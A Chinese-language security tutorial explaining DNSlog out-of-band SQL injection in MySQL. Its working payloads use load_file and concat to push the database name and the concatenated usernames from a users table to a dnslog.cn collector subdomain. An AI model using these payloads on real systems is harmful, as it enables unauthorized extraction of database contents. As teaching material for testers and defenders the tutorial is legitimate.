freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DNSlog注入详细解析
2022-05-21 19:26:04
所属地 北京

DNSlog注入语句

select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));

//转换之后的结果为:\\security.gitw7c.dnslog.cn

原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。

域名知识:

域名可以分为5级,从右向左解析,用 . 分割级别,低级别的域名要在高级别的域名中去解析,所以当security.gitw7c.dnslog.cn去gitw7c.dnslog.cn中去解析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息

由于每一级域名的长度只能为63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以gitw7c.dnslog.cn也不会收到解析的记录,所以我们就获取不到想要的信息了

1609138708_5fe982145b303fee7c932.png!small?1609138709598

域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从网络中解析了。

如:

1609138413_5fe980ed4a2f088d1b382.png!small?1609138414633

当前我的数据库名为security,是以字母开头的,在域名规则内是允许的,所以load_file会向域名进行解析

1609138427_5fe980fb3cec4799c6e7b.png!small?1609138428518


sql payload

当我在域名中拼接一个@符号时,就不会进行解析

1609138439_5fe9810779de49e8b1da1.png!small?1609138440761


1609138452_5fe9811496e01b6397e36.png!small?1609138453908

也就不会有解析记录

我们在使用group_concat合并查询时,会自动使用 "," 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,

1609138471_5fe98127ac52b96f45764.png!small?1609138472939

最佳方案

不过事情总是有解决的办法的,通过我不断地构造语句,之后使用replace,substr等函数,成功绕过了url解析的问题

如:

select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))

通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了,并且我们只需要将查询结果的字符长度控制在63个就可以了.

如图:

1609138557_5fe9817d0ebaae06cbe7f.png!small?16091385583281609138565_5fe981855e7b2ffd90dec.png!small?1609138566675

作者:Birdy(LLT)

# SQL注入 # sql注入各种姿势
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录